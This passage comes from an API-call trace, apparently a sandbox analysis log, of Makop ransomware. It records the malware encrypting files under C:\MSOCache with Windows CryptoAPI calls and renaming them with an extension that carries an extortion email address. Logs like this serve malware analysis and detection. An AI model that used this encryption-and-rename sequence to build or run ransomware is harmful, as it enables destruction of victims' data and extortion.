pdwDataLen=0x6579510*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579510*=0x40) returned 1 [0075.602] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.602] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579528*=0x40, lpOverlapped=0x0) returned 1 [0075.602] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0075.602] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0075.602] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0075.602] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0075.603] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0075.603] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0075.603] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.603] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.603] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x646, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x646, lpOverlapped=0x0) returned 1 [0075.603] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x650, dwBufLen=0x650 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x650) returned 1 [0075.603] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.603] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x650, lpOverlapped=0x0) returned 1 [0075.604] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.604] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x724, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.604] SetEndOfFile (hFile=0x124) returned 1 [0075.611] GetProcessHeap () returned 0x48a0000 [0075.611] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0075.611] GetProcessHeap () returned 0x48a0000 [0075.611] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0075.611] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 124 [0075.611] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0075.615] CloseHandle (hObject=0x124) returned 1 [0075.615] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36db9d00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x36db9d00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf5e95540, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10a5df8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OnoteLR.cab", cAlternateFileName="")) returned 1 [0075.615] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab") returned 74 [0075.616] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0075.618] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=17456632) returned 1 [0075.618] GetProcessHeap () returned 0x48a0000 [0075.618] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0075.618] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0075.618] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.618] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0075.624] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0075.624] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.624] GetProcessHeap () returned 0x48a0000 [0075.624] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0075.624] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6579508*=0x40) returned 1 [0075.624] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.624] WriteFile (in: hFile=0x124, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6579524*=0x40, lpOverlapped=0x0) returned 1 [0075.624] WriteFile (in: hFile=0x124, lpBuffer=0x657952c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x657952c*, lpNumberOfBytesWritten=0x6579524*=0x4, lpOverlapped=0x0) returned 1 [0075.625] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579524*=0x10, lpOverlapped=0x0) returned 1 [0075.625] WriteFile (in: hFile=0x124, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6579524*=0x80, lpOverlapped=0x0) returned 1 [0075.625] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0075.625] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579524, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579524*=0x8, lpOverlapped=0x0) returned 1 [0075.625] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0075.625] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.625] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.626] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.638] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.641] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.641] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.643] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.643] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.643] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.644] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.653] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.655] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x58c9fd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.655] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.658] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.658] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.658] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1065e00, lpNewFilePointer=0x0, dwMoveMethod=0x65794f8 | out: lpNewFilePointer=0x0) returned 1 [0075.658] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x65794ec, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x65794ec*=0x40000, lpOverlapped=0x0) returned 1 [0075.665] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x65794f4*=0x40000) returned 1 [0075.668] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x1065e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.668] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x65794f0*=0x40000, lpOverlapped=0x0) returned 1 [0075.670] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.670] WriteFile (in: hFile=0x124, lpBuffer=0x65794f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x65794f0, lpOverlapped=0x0 | out: lpBuffer=0x65794f8*, lpNumberOfBytesWritten=0x65794f0*=0x8, lpOverlapped=0x0) returned 1 [0075.670] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.670] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x10a5ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.670] SetEndOfFile (hFile=0x124) returned 1 [0075.679] GetProcessHeap () returned 0x48a0000 [0075.679] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0075.679] GetProcessHeap () returned 0x48a0000 [0075.679] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0075.679] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 121 [0075.679] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OnoteLR.cab.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onotelr.cab.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0075.681] CloseHandle (hObject=0x124) returned 1 [0075.681] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0075.681] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0075.681] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0075.681] GetProcessHeap () returned 0x48a0000 [0075.682] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0075.682] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0075.682] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579548 | out: lpNewFilePointer=0x0) returned 1 [0075.682] WriteFile (in: hFile=0x124, lpBuffer=0x6579558*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579558*, lpNumberOfBytesWritten=0x6579528*=0xc, lpOverlapped=0x0) returned 1 [0075.698] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0075.698] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.699] GetProcessHeap () returned 0x48a0000 [0075.699] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c37a8 [0075.699] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30, dwBufLen=0x30 | out: pbData=0x48c37a8*, pdwDataLen=0x6579510*=0x30) returned 1 [0075.699] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.699] WriteFile (in: hFile=0x124, lpBuffer=0x48c37a8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c37a8*, lpNumberOfBytesWritten=0x6579528*=0x30, lpOverlapped=0x0) returned 1 [0075.699] WriteFile (in: hFile=0x124, lpBuffer=0x6579530*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579530*, lpNumberOfBytesWritten=0x6579528*=0x4, lpOverlapped=0x0) returned 1 [0075.699] WriteFile (in: hFile=0x124, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6579528*=0x10, lpOverlapped=0x0) returned 1 [0075.699] WriteFile (in: hFile=0x124, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6579528*=0x80, lpOverlapped=0x0) returned 1 [0075.700] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6579550 | out: lpNewFilePointer=0x0) returned 1 [0075.700] WriteFile (in: hFile=0x124, lpBuffer=0x6579540*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6579540*, lpNumberOfBytesWritten=0x6579528*=0x8, lpOverlapped=0x0) returned 1 [0075.700] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x657952c | out: phKey=0x657952c*=0x48c70e8) returned 1 [0075.700] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0075.701] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.701] ReadFile (in: hFile=0x124, lpBuffer=0x6370020, nNumberOfBytesToRead=0x7c4, lpNumberOfBytesRead=0x6579534, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6579534*=0x7c4, lpOverlapped=0x0) returned 1 [0075.701] CryptEncrypt (in: hKey=0x48c70e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6579510*=0x7d0, dwBufLen=0x7d0 | out: pbData=0x6370020*, pdwDataLen=0x6579510*=0x7d0) returned 1 [0075.701] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.701] WriteFile (in: hFile=0x124, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x6579528, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6579528*=0x7d0, lpOverlapped=0x0) returned 1 [0075.701] CryptDestroyKey (hKey=0x48c70e8) returned 1 [0075.701] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x894, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.701] SetEndOfFile (hFile=0x124) returned 1 [0075.718] GetProcessHeap () returned 0x48a0000 [0075.718] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c37a8 | out: hHeap=0x48a0000) returned 1 [0075.718] GetProcessHeap () returned 0x48a0000 [0075.718] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0075.718] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 119 [0075.718] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0075.722] CloseHandle (hObject=0x124) returned 1 [0075.722] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf6e0d4a0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x7c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0075.722] FindClose (in: hFindFile=0x48c70a8 | out: hFindFile=0x48c70a8) returned 1 [0075.723] FindNextFileW (in: hFindFile=0x48c7068, lpFindFileData=0x657b020 | out: lpFindFileData=0x657b020*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-00B4-0409-1000-0000000FF1CE}-C", cAlternateFileName="{912E0~1")) returned 1 [0075.723] wsprintfW (in: param_1=0x657c270, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C") returned 62 [0075.723] wsprintfW (in: param_1=0x65797f0, param_2="%s\\*.*" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*.*") returned 66 [0075.723] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x48c70a8 [0075.731] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xa5b30b20, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xa5bc90a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc90a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0075.731] FindNextFileW (in: hFindFile=0x48c70a8, lpFindFileData=0x65795a0 | out: lpFindFileData=0x65795a0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x308ae9f0, ftCreationTime.dwHighDateTime=0x1cbe56c, ftLastAccessTime.dwLowDateTime=0x308ae9f0, ftLastAccessTime.dwHighDateTime=0x1cbe56c, ftLastWriteTime.dwLowDateTime=0xa5b55ce0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x265400, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.msi", cAlternateFileName="PROJEC~1.MSI")) returned 1 [0075.731] wsprintfW (in: param_1=0x6579ff0, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi") returned 77 [0075.731] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0075.733] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x6579538 | out: lpFileSize=0x6579538*=2511872) returned 1 [0075.733] GetProcessHeap () returned 0x48a0000 [0075.733] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0075.734] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0075.734] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.734] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6579528 | out: phKey=0x6579528*=0x48c70e8) returned 1 [0075.734] CryptSetKeyParam (hKey=0x48c70e8, dwParam=0x1, 